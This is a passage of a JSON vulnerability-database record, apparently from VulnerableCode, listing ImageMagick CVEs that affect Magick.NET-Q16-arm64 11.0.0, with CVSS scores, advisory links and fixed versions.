"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.8.0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111104", "reference_id": "1111104", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1111104" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2388253", "reference_id": "2388253", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2388253" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55160", "reference_id": "CVE-2025-55160", "reference_type": "", "scores": [ { "value": "6.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55160" }, { "reference_url": "https://github.com/advisories/GHSA-6hgw-6x87-578x", "reference_id": "GHSA-6hgw-6x87-578x", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-6hgw-6x87-578x" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-6hgw-6x87-578x", "reference_id": "GHSA-6hgw-6x87-578x", "reference_type": "", "scores": [ { "value": "6.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-13T14:26:33Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-6hgw-6x87-578x" }, { "reference_url": "https://usn.ubuntu.com/7756-1/", "reference_id": "USN-7756-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/7756-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/86219?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.8.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-11v2-qgx3-47hz" }, { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-1hrc-y5vr-efgj" }, { "vulnerability": "VCID-1j2k-6rbb-tfhy" }, { "vulnerability": "VCID-1p4e-f2bs-eycu" }, { "vulnerability": "VCID-1y2r-nh91-u7ha" }, { "vulnerability": "VCID-27wf-43fw-kuam" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-3gm2-ehp7-d7em" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4fqh-nbke-bufv" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-4q34-28cp-j3fn" }, { "vulnerability": "VCID-58jw-s2v7-ukcw" }, { "vulnerability": "VCID-5e38-r9z4-a7h9" }, { "vulnerability": "VCID-5e5g-55d6-3yev" }, { "vulnerability": "VCID-5mtv-p43c-fqc5" }, { "vulnerability": "VCID-5xqc-2jt1-dfh1" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-7rkq-y5rp-wyfm" }, { "vulnerability": "VCID-836n-xdhx-zye3" }, { "vulnerability": "VCID-88yk-kthd-5qgr" }, { "vulnerability": "VCID-8sq5-r6ur-3be6" }, { "vulnerability": "VCID-8zwb-29vf-gkag" }, { "vulnerability": "VCID-92t2-5jrm-cyej" }, { "vulnerability": "VCID-97p8-5z8e-2qd5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-a58f-bqx9-yfhk" }, { "vulnerability": "VCID-acea-fhhx-xydj" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-bcdj-1szf-u3c8" }, { "vulnerability": "VCID-c9t3-dj85-nfev" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cpn3-kr6q-2ugv" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-ddvf-h3jf-1yft" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-dw4p-7umw-tqhd" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-g38v-cdjz-a7cd" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-jtta-svbt-wfcv" }, { "vulnerability": "VCID-kcs8-8s5x-w7er" }, { "vulnerability": "VCID-kpcy-a3v3-ubhs" }, { "vulnerability": "VCID-kyeb-ndqs-vyhp" }, { "vulnerability": "VCID-kymx-rjrd-m3g4" }, { "vulnerability": "VCID-m1x2-ffdz-ekhu" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-majy-bytw-9bew" }, { "vulnerability": "VCID-mjy1-gkm8-2ugw" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-ndur-uewc-aucm" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-rabe-pnz7-mqbj" }, { "vulnerability": "VCID-rp71-pwxm-quhd" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-s9vc-rtmc-vygy" }, { "vulnerability": "VCID-sh29-s49w-6qdj" }, { "vulnerability": "VCID-sjg9-srcu-8bck" }, { "vulnerability": "VCID-t1vu-myek-u7dq" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-taap-mm6q-xuef" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-u59k-v6pm-qud3" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-v8sf-9pty-aqh4" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-wh9f-rvt4-6fb9" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xftp-cy5m-nkhh" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-ye74-15xt-ukhk" }, { "vulnerability": "VCID-yhp9-y1y3-nyh8" }, { "vulnerability": "VCID-yxmc-uvt6-ebgw" }, { "vulnerability": "VCID-z52g-6wk3-3ufj" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.8.0" } ], "aliases": [ "CVE-2025-55160", "GHSA-6hgw-6x87-578x" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-z5ve-fkb6-8yhs" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50883?format=api", "vulnerability_id": "VCID-zt1v-dckb-gbh3", "summary": "ImageMagick has uninitialized pointer dereference in JBIG decoder\nAn uninitialized pointer dereference vulnerability exists in the JBIG decoder due to a missing check.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28691.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28691.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28691", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00063", "scoring_system": "epss", "scoring_elements": "0.19876", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28691" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28691", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28691" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445902", "reference_id": "2445902", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445902" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28691", "reference_id": "CVE-2026-28691", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28691" }, { "reference_url": "https://github.com/advisories/GHSA-wj8w-pjxf-9g4f", "reference_id": "GHSA-wj8w-pjxf-9g4f", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-wj8w-pjxf-9g4f" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wj8w-pjxf-9g4f", "reference_id": "GHSA-wj8w-pjxf-9g4f", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T15:58:48Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wj8w-pjxf-9g4f" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6713", "reference_id": "RHSA-2026:6713", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6713" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74575?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.4", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.4" } ], "aliases": [ "CVE-2026-28691", "GHSA-wj8w-pjxf-9g4f" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-zt1v-dckb-gbh3" } ], "fixing_vulnerabilities": [], "risk_score": null, "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@11.0.0" }